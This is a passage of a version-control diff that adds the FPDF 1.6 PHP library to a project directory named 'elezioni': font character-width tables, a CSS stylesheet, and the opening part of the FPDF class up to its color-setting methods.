+	'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>778,'I'=>389,'J'=>500,'K'=>778,'L'=>667,'M'=>944,'N'=>722,'O'=>778,'P'=>611,'Q'=>778,'R'=>722,'S'=>556,'T'=>667,'U'=>722,'V'=>722,'W'=>1000,
+	'X'=>722,'Y'=>722,'Z'=>667,'['=>333,'\\'=>278,']'=>333,'^'=>581,'_'=>500,'`'=>333,'a'=>500,'b'=>556,'c'=>444,'d'=>556,'e'=>444,'f'=>333,'g'=>500,'h'=>556,'i'=>278,'j'=>333,'k'=>556,'l'=>278,'m'=>833,
+	'n'=>556,'o'=>500,'p'=>556,'q'=>556,'r'=>444,'s'=>389,'t'=>333,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>444,'{'=>394,'|'=>220,'}'=>394,'~'=>520,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500,
+	chr(132)=>500,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>667,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>444,chr(159)=>722,chr(160)=>250,chr(161)=>333,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>220,chr(167)=>500,chr(168)=>333,chr(169)=>747,chr(170)=>300,chr(171)=>500,chr(172)=>570,chr(173)=>333,chr(174)=>747,chr(175)=>333,
+	chr(176)=>400,chr(177)=>570,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>556,chr(182)=>540,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>330,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>500,chr(192)=>722,chr(193)=>722,chr(194)=>722,chr(195)=>722,chr(196)=>722,chr(197)=>722,
+	chr(198)=>1000,chr(199)=>722,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>389,chr(205)=>389,chr(206)=>389,chr(207)=>389,chr(208)=>722,chr(209)=>722,chr(210)=>778,chr(211)=>778,chr(212)=>778,chr(213)=>778,chr(214)=>778,chr(215)=>570,chr(216)=>778,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>722,chr(222)=>611,chr(223)=>556,chr(224)=>500,chr(225)=>500,chr(226)=>500,chr(227)=>500,chr(228)=>500,chr(229)=>500,chr(230)=>722,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>556,
+	chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>570,chr(248)=>500,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>500,chr(254)=>556,chr(255)=>500);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesbi.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesbi.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesbi.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['timesBI']=array(
+	chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250,
+	chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>389,'"'=>555,'#'=>500,'$'=>500,'%'=>833,'&'=>778,'\''=>278,'('=>333,')'=>333,'*'=>500,'+'=>570,
+	','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>333,';'=>333,'<'=>570,'='=>570,'>'=>570,'?'=>500,'@'=>832,'A'=>667,
+	'B'=>667,'C'=>667,'D'=>722,'E'=>667,'F'=>667,'G'=>722,'H'=>778,'I'=>389,'J'=>500,'K'=>667,'L'=>611,'M'=>889,'N'=>722,'O'=>722,'P'=>611,'Q'=>722,'R'=>667,'S'=>556,'T'=>611,'U'=>722,'V'=>667,'W'=>889,
+	'X'=>667,'Y'=>611,'Z'=>611,'['=>333,'\\'=>278,']'=>333,'^'=>570,'_'=>500,'`'=>333,'a'=>500,'b'=>500,'c'=>444,'d'=>500,'e'=>444,'f'=>333,'g'=>500,'h'=>556,'i'=>278,'j'=>278,'k'=>500,'l'=>278,'m'=>778,
+	'n'=>556,'o'=>500,'p'=>500,'q'=>500,'r'=>389,'s'=>389,'t'=>278,'u'=>556,'v'=>444,'w'=>667,'x'=>500,'y'=>444,'z'=>389,'{'=>348,'|'=>220,'}'=>348,'~'=>570,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500,
+	chr(132)=>500,chr(133)=>1000,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>556,chr(139)=>333,chr(140)=>944,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>500,chr(148)=>500,chr(149)=>350,chr(150)=>500,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
+	chr(154)=>389,chr(155)=>333,chr(156)=>722,chr(157)=>350,chr(158)=>389,chr(159)=>611,chr(160)=>250,chr(161)=>389,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>220,chr(167)=>500,chr(168)=>333,chr(169)=>747,chr(170)=>266,chr(171)=>500,chr(172)=>606,chr(173)=>333,chr(174)=>747,chr(175)=>333,
+	chr(176)=>400,chr(177)=>570,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>576,chr(182)=>500,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>300,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>500,chr(192)=>667,chr(193)=>667,chr(194)=>667,chr(195)=>667,chr(196)=>667,chr(197)=>667,
+	chr(198)=>944,chr(199)=>667,chr(200)=>667,chr(201)=>667,chr(202)=>667,chr(203)=>667,chr(204)=>389,chr(205)=>389,chr(206)=>389,chr(207)=>389,chr(208)=>722,chr(209)=>722,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>570,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>611,chr(222)=>611,chr(223)=>500,chr(224)=>500,chr(225)=>500,chr(226)=>500,chr(227)=>500,chr(228)=>500,chr(229)=>500,chr(230)=>722,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>556,
+	chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>570,chr(248)=>500,chr(249)=>556,chr(250)=>556,chr(251)=>556,chr(252)=>556,chr(253)=>444,chr(254)=>500,chr(255)=>444);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesi.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesi.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/timesi.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['timesI']=array(
+	chr(0)=>250,chr(1)=>250,chr(2)=>250,chr(3)=>250,chr(4)=>250,chr(5)=>250,chr(6)=>250,chr(7)=>250,chr(8)=>250,chr(9)=>250,chr(10)=>250,chr(11)=>250,chr(12)=>250,chr(13)=>250,chr(14)=>250,chr(15)=>250,chr(16)=>250,chr(17)=>250,chr(18)=>250,chr(19)=>250,chr(20)=>250,chr(21)=>250,
+	chr(22)=>250,chr(23)=>250,chr(24)=>250,chr(25)=>250,chr(26)=>250,chr(27)=>250,chr(28)=>250,chr(29)=>250,chr(30)=>250,chr(31)=>250,' '=>250,'!'=>333,'"'=>420,'#'=>500,'$'=>500,'%'=>833,'&'=>778,'\''=>214,'('=>333,')'=>333,'*'=>500,'+'=>675,
+	','=>250,'-'=>333,'.'=>250,'/'=>278,'0'=>500,'1'=>500,'2'=>500,'3'=>500,'4'=>500,'5'=>500,'6'=>500,'7'=>500,'8'=>500,'9'=>500,':'=>333,';'=>333,'<'=>675,'='=>675,'>'=>675,'?'=>500,'@'=>920,'A'=>611,
+	'B'=>611,'C'=>667,'D'=>722,'E'=>611,'F'=>611,'G'=>722,'H'=>722,'I'=>333,'J'=>444,'K'=>667,'L'=>556,'M'=>833,'N'=>667,'O'=>722,'P'=>611,'Q'=>722,'R'=>611,'S'=>500,'T'=>556,'U'=>722,'V'=>611,'W'=>833,
+	'X'=>611,'Y'=>556,'Z'=>556,'['=>389,'\\'=>278,']'=>389,'^'=>422,'_'=>500,'`'=>333,'a'=>500,'b'=>500,'c'=>444,'d'=>500,'e'=>444,'f'=>278,'g'=>500,'h'=>500,'i'=>278,'j'=>278,'k'=>444,'l'=>278,'m'=>722,
+	'n'=>500,'o'=>500,'p'=>500,'q'=>500,'r'=>389,'s'=>389,'t'=>278,'u'=>500,'v'=>444,'w'=>667,'x'=>444,'y'=>444,'z'=>389,'{'=>400,'|'=>275,'}'=>400,'~'=>541,chr(127)=>350,chr(128)=>500,chr(129)=>350,chr(130)=>333,chr(131)=>500,
+	chr(132)=>556,chr(133)=>889,chr(134)=>500,chr(135)=>500,chr(136)=>333,chr(137)=>1000,chr(138)=>500,chr(139)=>333,chr(140)=>944,chr(141)=>350,chr(142)=>556,chr(143)=>350,chr(144)=>350,chr(145)=>333,chr(146)=>333,chr(147)=>556,chr(148)=>556,chr(149)=>350,chr(150)=>500,chr(151)=>889,chr(152)=>333,chr(153)=>980,
+	chr(154)=>389,chr(155)=>333,chr(156)=>667,chr(157)=>350,chr(158)=>389,chr(159)=>556,chr(160)=>250,chr(161)=>389,chr(162)=>500,chr(163)=>500,chr(164)=>500,chr(165)=>500,chr(166)=>275,chr(167)=>500,chr(168)=>333,chr(169)=>760,chr(170)=>276,chr(171)=>500,chr(172)=>675,chr(173)=>333,chr(174)=>760,chr(175)=>333,
+	chr(176)=>400,chr(177)=>675,chr(178)=>300,chr(179)=>300,chr(180)=>333,chr(181)=>500,chr(182)=>523,chr(183)=>250,chr(184)=>333,chr(185)=>300,chr(186)=>310,chr(187)=>500,chr(188)=>750,chr(189)=>750,chr(190)=>750,chr(191)=>500,chr(192)=>611,chr(193)=>611,chr(194)=>611,chr(195)=>611,chr(196)=>611,chr(197)=>611,
+	chr(198)=>889,chr(199)=>667,chr(200)=>611,chr(201)=>611,chr(202)=>611,chr(203)=>611,chr(204)=>333,chr(205)=>333,chr(206)=>333,chr(207)=>333,chr(208)=>722,chr(209)=>667,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>675,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722,
+	chr(220)=>722,chr(221)=>556,chr(222)=>611,chr(223)=>500,chr(224)=>500,chr(225)=>500,chr(226)=>500,chr(227)=>500,chr(228)=>500,chr(229)=>500,chr(230)=>667,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>500,
+	chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>675,chr(248)=>500,chr(249)=>500,chr(250)=>500,chr(251)=>500,chr(252)=>500,chr(253)=>444,chr(254)=>500,chr(255)=>444);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/zapfdingbats.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/zapfdingbats.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/zapfdingbats.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['zapfdingbats']=array(
+	chr(0)=>0,chr(1)=>0,chr(2)=>0,chr(3)=>0,chr(4)=>0,chr(5)=>0,chr(6)=>0,chr(7)=>0,chr(8)=>0,chr(9)=>0,chr(10)=>0,chr(11)=>0,chr(12)=>0,chr(13)=>0,chr(14)=>0,chr(15)=>0,chr(16)=>0,chr(17)=>0,chr(18)=>0,chr(19)=>0,chr(20)=>0,chr(21)=>0,
+	chr(22)=>0,chr(23)=>0,chr(24)=>0,chr(25)=>0,chr(26)=>0,chr(27)=>0,chr(28)=>0,chr(29)=>0,chr(30)=>0,chr(31)=>0,' '=>278,'!'=>974,'"'=>961,'#'=>974,'$'=>980,'%'=>719,'&'=>789,'\''=>790,'('=>791,')'=>690,'*'=>960,'+'=>939,
+	','=>549,'-'=>855,'.'=>911,'/'=>933,'0'=>911,'1'=>945,'2'=>974,'3'=>755,'4'=>846,'5'=>762,'6'=>761,'7'=>571,'8'=>677,'9'=>763,':'=>760,';'=>759,'<'=>754,'='=>494,'>'=>552,'?'=>537,'@'=>577,'A'=>692,
+	'B'=>786,'C'=>788,'D'=>788,'E'=>790,'F'=>793,'G'=>794,'H'=>816,'I'=>823,'J'=>789,'K'=>841,'L'=>823,'M'=>833,'N'=>816,'O'=>831,'P'=>923,'Q'=>744,'R'=>723,'S'=>749,'T'=>790,'U'=>792,'V'=>695,'W'=>776,
+	'X'=>768,'Y'=>792,'Z'=>759,'['=>707,'\\'=>708,']'=>682,'^'=>701,'_'=>826,'`'=>815,'a'=>789,'b'=>789,'c'=>707,'d'=>687,'e'=>696,'f'=>689,'g'=>786,'h'=>787,'i'=>713,'j'=>791,'k'=>785,'l'=>791,'m'=>873,
+	'n'=>761,'o'=>762,'p'=>762,'q'=>759,'r'=>759,'s'=>892,'t'=>892,'u'=>788,'v'=>784,'w'=>438,'x'=>138,'y'=>277,'z'=>415,'{'=>392,'|'=>392,'}'=>668,'~'=>668,chr(127)=>0,chr(128)=>390,chr(129)=>390,chr(130)=>317,chr(131)=>317,
+	chr(132)=>276,chr(133)=>276,chr(134)=>509,chr(135)=>509,chr(136)=>410,chr(137)=>410,chr(138)=>234,chr(139)=>234,chr(140)=>334,chr(141)=>334,chr(142)=>0,chr(143)=>0,chr(144)=>0,chr(145)=>0,chr(146)=>0,chr(147)=>0,chr(148)=>0,chr(149)=>0,chr(150)=>0,chr(151)=>0,chr(152)=>0,chr(153)=>0,
+	chr(154)=>0,chr(155)=>0,chr(156)=>0,chr(157)=>0,chr(158)=>0,chr(159)=>0,chr(160)=>0,chr(161)=>732,chr(162)=>544,chr(163)=>544,chr(164)=>910,chr(165)=>667,chr(166)=>760,chr(167)=>760,chr(168)=>776,chr(169)=>595,chr(170)=>694,chr(171)=>626,chr(172)=>788,chr(173)=>788,chr(174)=>788,chr(175)=>788,
+	chr(176)=>788,chr(177)=>788,chr(178)=>788,chr(179)=>788,chr(180)=>788,chr(181)=>788,chr(182)=>788,chr(183)=>788,chr(184)=>788,chr(185)=>788,chr(186)=>788,chr(187)=>788,chr(188)=>788,chr(189)=>788,chr(190)=>788,chr(191)=>788,chr(192)=>788,chr(193)=>788,chr(194)=>788,chr(195)=>788,chr(196)=>788,chr(197)=>788,
+	chr(198)=>788,chr(199)=>788,chr(200)=>788,chr(201)=>788,chr(202)=>788,chr(203)=>788,chr(204)=>788,chr(205)=>788,chr(206)=>788,chr(207)=>788,chr(208)=>788,chr(209)=>788,chr(210)=>788,chr(211)=>788,chr(212)=>894,chr(213)=>838,chr(214)=>1016,chr(215)=>458,chr(216)=>748,chr(217)=>924,chr(218)=>748,chr(219)=>918,
+	chr(220)=>927,chr(221)=>928,chr(222)=>928,chr(223)=>834,chr(224)=>873,chr(225)=>828,chr(226)=>924,chr(227)=>924,chr(228)=>917,chr(229)=>930,chr(230)=>931,chr(231)=>463,chr(232)=>883,chr(233)=>836,chr(234)=>836,chr(235)=>867,chr(236)=>867,chr(237)=>696,chr(238)=>696,chr(239)=>874,chr(240)=>0,chr(241)=>874,
+	chr(242)=>760,chr(243)=>946,chr(244)=>771,chr(245)=>865,chr(246)=>771,chr(247)=>888,chr(248)=>967,chr(249)=>888,chr(250)=>831,chr(251)=>873,chr(252)=>927,chr(253)=>970,chr(254)=>918,chr(255)=>0);
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/fpdf.css
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/fpdf.css	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/fpdf.css	(revision 44)
@@ -0,0 +1,21 @@
+body {font-family:"Times New Roman",serif}
+h1 {font:bold 135% Arial,sans-serif; color:#4000A0; margin-bottom:0.9em}
+h2 {font:bold 100% Arial,sans-serif; color:#900000; margin-top:1.5em}
+dl.param dt {text-decoration:underline}
+dl.param dd {margin-top:1em; margin-bottom:1em}
+dl.param ul {margin-top:1em; margin-bottom:1em}
+tt, code, kbd {font-family:"Courier New",Courier,monospace; font-size:82%}
+div.source {margin-top:1.4em; margin-bottom:1.3em}
+div.source pre {display:table; border:1px solid #24246A; width:100%; margin:0em; font-family:inherit; font-size:100%}
+div.source code {display:block; border:1px solid #C5C5EC; background-color:#F0F5FF; padding:6px; color:#000000}
+div.doc-source {margin-top:1.4em; margin-bottom:1.3em}
+div.doc-source pre {display:table; width:100%; margin:0em; font-family:inherit; font-size:100%}
+div.doc-source code {display:block; background-color:#E0E0E0; padding:4px}
+.kw {color:#000080; font-weight:bold}
+.str {color:#CC0000}
+.cmt {color:#008000}
+p.demo {text-align:center; margin-top:-0.9em}
+a.demo {text-decoration:none; font-weight:bold; color:#0000CC}
+a.demo:link {text-decoration:none; font-weight:bold; color:#0000CC}
+a.demo:hover {text-decoration:none; font-weight:bold; color:#0000FF}
+a.demo:active {text-decoration:none; font-weight:bold; color:#0000FF}
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/fpdf.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/fpdf.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/fpdf.php	(revision 44)
@@ -0,0 +1,1734 @@
+<?php
+/*******************************************************************************
+* FPDF                                                                         *
+*                                                                              *
+* Version: 1.6                                                                 *
+* Date:    2008-08-03                                                          *
+* Author:  Olivier PLATHEY                                                     *
+*******************************************************************************/
+
+define('FPDF_VERSION','1.6');
+
+class FPDF
+{
+var $page;               //current page number
+var $n;                  //current object number
+var $offsets;            //array of object offsets
+var $buffer;             //buffer holding in-memory PDF
+var $pages;              //array containing pages
+var $state;              //current document state
+var $compress;           //compression flag
+var $k;                  //scale factor (number of points in user unit)
+var $DefOrientation;     //default orientation
+var $CurOrientation;     //current orientation
+var $PageFormats;        //available page formats
+var $DefPageFormat;      //default page format
+var $CurPageFormat;      //current page format
+var $PageSizes;          //array storing non-default page sizes
+var $wPt,$hPt;           //dimensions of current page in points
+var $w,$h;               //dimensions of current page in user unit
+var $lMargin;            //left margin
+var $tMargin;            //top margin
+var $rMargin;            //right margin
+var $bMargin;            //page break margin
+var $cMargin;            //cell margin
+var $x,$y;               //current position in user unit
+var $lasth;              //height of last printed cell
+var $LineWidth;          //line width in user unit
+var $CoreFonts;          //array of standard font names
+var $fonts;              //array of used fonts
+var $FontFiles;          //array of font files
+var $diffs;              //array of encoding differences
+var $FontFamily;         //current font family
+var $FontStyle;          //current font style
+var $underline;          //underlining flag
+var $CurrentFont;        //current font info
+var $FontSizePt;         //current font size in points
+var $FontSize;           //current font size in user unit
+var $DrawColor;          //commands for drawing color
+var $FillColor;          //commands for filling color
+var $TextColor;          //commands for text color
+var $ColorFlag;          //indicates whether fill and text colors are different
+var $ws;                 //word spacing
+var $images;             //array of used images
+var $PageLinks;          //array of links in pages
+var $links;              //array of internal links
+var $AutoPageBreak;      //automatic page breaking
+var $PageBreakTrigger;   //threshold used to trigger page breaks
+var $InHeader;           //flag set when processing header
+var $InFooter;           //flag set when processing footer
+var $ZoomMode;           //zoom display mode
+var $LayoutMode;         //layout display mode
+var $title;              //title
+var $subject;            //subject
+var $author;             //author
+var $keywords;           //keywords
+var $creator;            //creator
+var $AliasNbPages;       //alias for total number of pages
+var $PDFVersion;         //PDF version number
+
+/*******************************************************************************
+*                                                                              *
+*                               Public methods                                 *
+*                                                                              *
+*******************************************************************************/
+function FPDF($orientation='P', $unit='mm', $format='A4')
+{
+	//Some checks
+	$this->_dochecks();
+	//Initialization of properties
+	$this->page=0;
+	$this->n=2;
+	$this->buffer='';
+	$this->pages=array();
+	$this->PageSizes=array();
+	$this->state=0;
+	$this->fonts=array();
+	$this->FontFiles=array();
+	$this->diffs=array();
+	$this->images=array();
+	$this->links=array();
+	$this->InHeader=false;
+	$this->InFooter=false;
+	$this->lasth=0;
+	$this->FontFamily='';
+	$this->FontStyle='';
+	$this->FontSizePt=12;
+	$this->underline=false;
+	$this->DrawColor='0 G';
+	$this->FillColor='0 g';
+	$this->TextColor='0 g';
+	$this->ColorFlag=false;
+	$this->ws=0;
+	//Standard fonts
+	$this->CoreFonts=array('courier'=>'Courier', 'courierB'=>'Courier-Bold', 'courierI'=>'Courier-Oblique', 'courierBI'=>'Courier-BoldOblique',
+		'helvetica'=>'Helvetica', 'helveticaB'=>'Helvetica-Bold', 'helveticaI'=>'Helvetica-Oblique', 'helveticaBI'=>'Helvetica-BoldOblique',
+		'times'=>'Times-Roman', 'timesB'=>'Times-Bold', 'timesI'=>'Times-Italic', 'timesBI'=>'Times-BoldItalic',
+		'symbol'=>'Symbol', 'zapfdingbats'=>'ZapfDingbats');
+	//Scale factor
+	if($unit=='pt')
+		$this->k=1;
+	elseif($unit=='mm')
+		$this->k=72/25.4;
+	elseif($unit=='cm')
+		$this->k=72/2.54;
+	elseif($unit=='in')
+		$this->k=72;
+	else
+		$this->Error('Incorrect unit: '.$unit);
+	//Page format
+	$this->PageFormats=array('a3'=>array(841.89,1190.55), 'a4'=>array(595.28,841.89), 'a5'=>array(420.94,595.28),
+		'letter'=>array(612,792), 'legal'=>array(612,1008));
+	if(is_string($format))
+		$format=$this->_getpageformat($format);
+	$this->DefPageFormat=$format;
+	$this->CurPageFormat=$format;
+	//Page orientation
+	$orientation=strtolower($orientation);
+	if($orientation=='p' || $orientation=='portrait')
+	{
+		$this->DefOrientation='P';
+		$this->w=$this->DefPageFormat[0];
+		$this->h=$this->DefPageFormat[1];
+	}
+	elseif($orientation=='l' || $orientation=='landscape')
+	{
+		$this->DefOrientation='L';
+		$this->w=$this->DefPageFormat[1];
+		$this->h=$this->DefPageFormat[0];
+	}
+	else
+		$this->Error('Incorrect orientation: '.$orientation);
+	$this->CurOrientation=$this->DefOrientation;
+	$this->wPt=$this->w*$this->k;
+	$this->hPt=$this->h*$this->k;
+	//Page margins (1 cm)
+	$margin=28.35/$this->k;
+	$this->SetMargins($margin,$margin);
+	//Interior cell margin (1 mm)
+	$this->cMargin=$margin/10;
+	//Line width (0.2 mm)
+	$this->LineWidth=.567/$this->k;
+	//Automatic page break
+	$this->SetAutoPageBreak(true,2*$margin);
+	//Full width display mode
+	$this->SetDisplayMode('fullwidth');
+	//Enable compression
+	$this->SetCompression(true);
+	//Set default PDF version number
+	$this->PDFVersion='1.3';
+}
+
+function SetMargins($left, $top, $right=null)
+{
+	//Set left, top and right margins
+	$this->lMargin=$left;
+	$this->tMargin=$top;
+	if($right===null)
+		$right=$left;
+	$this->rMargin=$right;
+}
+
+function SetLeftMargin($margin)
+{
+	//Set left margin
+	$this->lMargin=$margin;
+	if($this->page>0 && $this->x<$margin)
+		$this->x=$margin;
+}
+
+function SetTopMargin($margin)
+{
+	//Set top margin
+	$this->tMargin=$margin;
+}
+
+function SetRightMargin($margin)
+{
+	//Set right margin
+	$this->rMargin=$margin;
+}
+
+function SetAutoPageBreak($auto, $margin=0)
+{
+	//Set auto page break mode and triggering margin
+	$this->AutoPageBreak=$auto;
+	$this->bMargin=$margin;
+	$this->PageBreakTrigger=$this->h-$margin;
+}
+
+function SetDisplayMode($zoom, $layout='continuous')
+{
+	//Set display mode in viewer
+	if($zoom=='fullpage' || $zoom=='fullwidth' || $zoom=='real' || $zoom=='default' || !is_string($zoom))
+		$this->ZoomMode=$zoom;
+	else
+		$this->Error('Incorrect zoom display mode: '.$zoom);
+	if($layout=='single' || $layout=='continuous' || $layout=='two' || $layout=='default')
+		$this->LayoutMode=$layout;
+	else
+		$this->Error('Incorrect layout display mode: '.$layout);
+}
+
+function SetCompression($compress)
+{
+	//Set page compression
+	if(function_exists('gzcompress'))
+		$this->compress=$compress;
+	else
+		$this->compress=false;
+}
+
+function SetTitle($title, $isUTF8=false)
+{
+	//Title of document
+	if($isUTF8)
+		$title=$this->_UTF8toUTF16($title);
+	$this->title=$title;
+}
+
+function SetSubject($subject, $isUTF8=false)
+{
+	//Subject of document
+	if($isUTF8)
+		$subject=$this->_UTF8toUTF16($subject);
+	$this->subject=$subject;
+}
+
+function SetAuthor($author, $isUTF8=false)
+{
+	//Author of document
+	if($isUTF8)
+		$author=$this->_UTF8toUTF16($author);
+	$this->author=$author;
+}
+
+function SetKeywords($keywords, $isUTF8=false)
+{
+	//Keywords of document
+	if($isUTF8)
+		$keywords=$this->_UTF8toUTF16($keywords);
+	$this->keywords=$keywords;
+}
+
+function SetCreator($creator, $isUTF8=false)
+{
+	//Creator of document
+	if($isUTF8)
+		$creator=$this->_UTF8toUTF16($creator);
+	$this->creator=$creator;
+}
+
+function AliasNbPages($alias='{nb}')
+{
+	//Define an alias for total number of pages
+	$this->AliasNbPages=$alias;
+}
+
+function Error($msg)
+{
+	//Fatal error
+	die('<b>FPDF error:</b> '.$msg);
+}
+
+function Open()
+{
+	//Begin document
+	$this->state=1;
+}
+
+function Close()
+{
+	//Terminate document
+	if($this->state==3)
+		return;
+	if($this->page==0)
+		$this->AddPage();
+	//Page footer
+	$this->InFooter=true;
+	$this->Footer();
+	$this->InFooter=false;
+	//Close page
+	$this->_endpage();
+	//Close document
+	$this->_enddoc();
+}
+
+function AddPage($orientation='', $format='')
+{
+	//Start a new page
+	if($this->state==0)
+		$this->Open();
+	$family=$this->FontFamily;
+	$style=$this->FontStyle.($this->underline ? 'U' : '');
+	$size=$this->FontSizePt;
+	$lw=$this->LineWidth;
+	$dc=$this->DrawColor;
+	$fc=$this->FillColor;
+	$tc=$this->TextColor;
+	$cf=$this->ColorFlag;
+	if($this->page>0)
+	{
+		//Page footer
+		$this->InFooter=true;
+		$this->Footer();
+		$this->InFooter=false;
+		//Close page
+		$this->_endpage();
+	}
+	//Start new page
+	$this->_beginpage($orientation,$format);
+	//Set line cap style to square
+	$this->_out('2 J');
+	//Set line width
+	$this->LineWidth=$lw;
+	$this->_out(sprintf('%.2F w',$lw*$this->k));
+	//Set font
+	if($family)
+		$this->SetFont($family,$style,$size);
+	//Set colors
+	$this->DrawColor=$dc;
+	if($dc!='0 G')
+		$this->_out($dc);
+	$this->FillColor=$fc;
+	if($fc!='0 g')
+		$this->_out($fc);
+	$this->TextColor=$tc;
+	$this->ColorFlag=$cf;
+	//Page header
+	$this->InHeader=true;
+	$this->Header();
+	$this->InHeader=false;
+	//Restore line width
+	if($this->LineWidth!=$lw)
+	{
+		$this->LineWidth=$lw;
+		$this->_out(sprintf('%.2F w',$lw*$this->k));
+	}
+	//Restore font
+	if($family)
+		$this->SetFont($family,$style,$size);
+	//Restore colors
+	if($this->DrawColor!=$dc)
+	{
+		$this->DrawColor=$dc;
+		$this->_out($dc);
+	}
+	if($this->FillColor!=$fc)
+	{
+		$this->FillColor=$fc;
+		$this->_out($fc);
+	}
+	$this->TextColor=$tc;
+	$this->ColorFlag=$cf;
+}
+
+function Header()
+{
+	//To be implemented in your own inherited class
+}
+
+function Footer()
+{
+	//To be implemented in your own inherited class
+}
+
+function PageNo()
+{
+	//Get current page number
+	return $this->page;
+}
+
+function SetDrawColor($r, $g=null, $b=null)
+{
+	//Set color for all stroking operations
+	if(($r==0 && $g==0 && $b==0) || $g===null)
+		$this->DrawColor=sprintf('%.3F G',$r/255);
+	else
+		$this->DrawColor=sprintf('%.3F %.3F %.3F RG',$r/255,$g/255,$b/255);
+	if($this->page>0)
+		$this->_out($this->DrawColor);
+}
+
+function SetFillColor($r, $g=null, $b=null)
+{
+	//Set color for all filling operations
+	if(($r==0 && $g==0 && $b==0) || $g===null)
+		$this->FillColor=sprintf('%.3F g',$r/255);
+	else
+		$this->FillColor=sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
+	$this->ColorFlag=($this->FillColor!=$this->TextColor);
+	if($this->page>0)
+		$this->_out($this->FillColor);
+}
+
+function SetTextColor($r, $g=null, $b=null)
+{
+	//Set color for text
+	if(($r==0 && $g==0 && $b==0) || $g===null)
+		$this->TextColor=sprintf('%.3F g',$r/255);
+	else
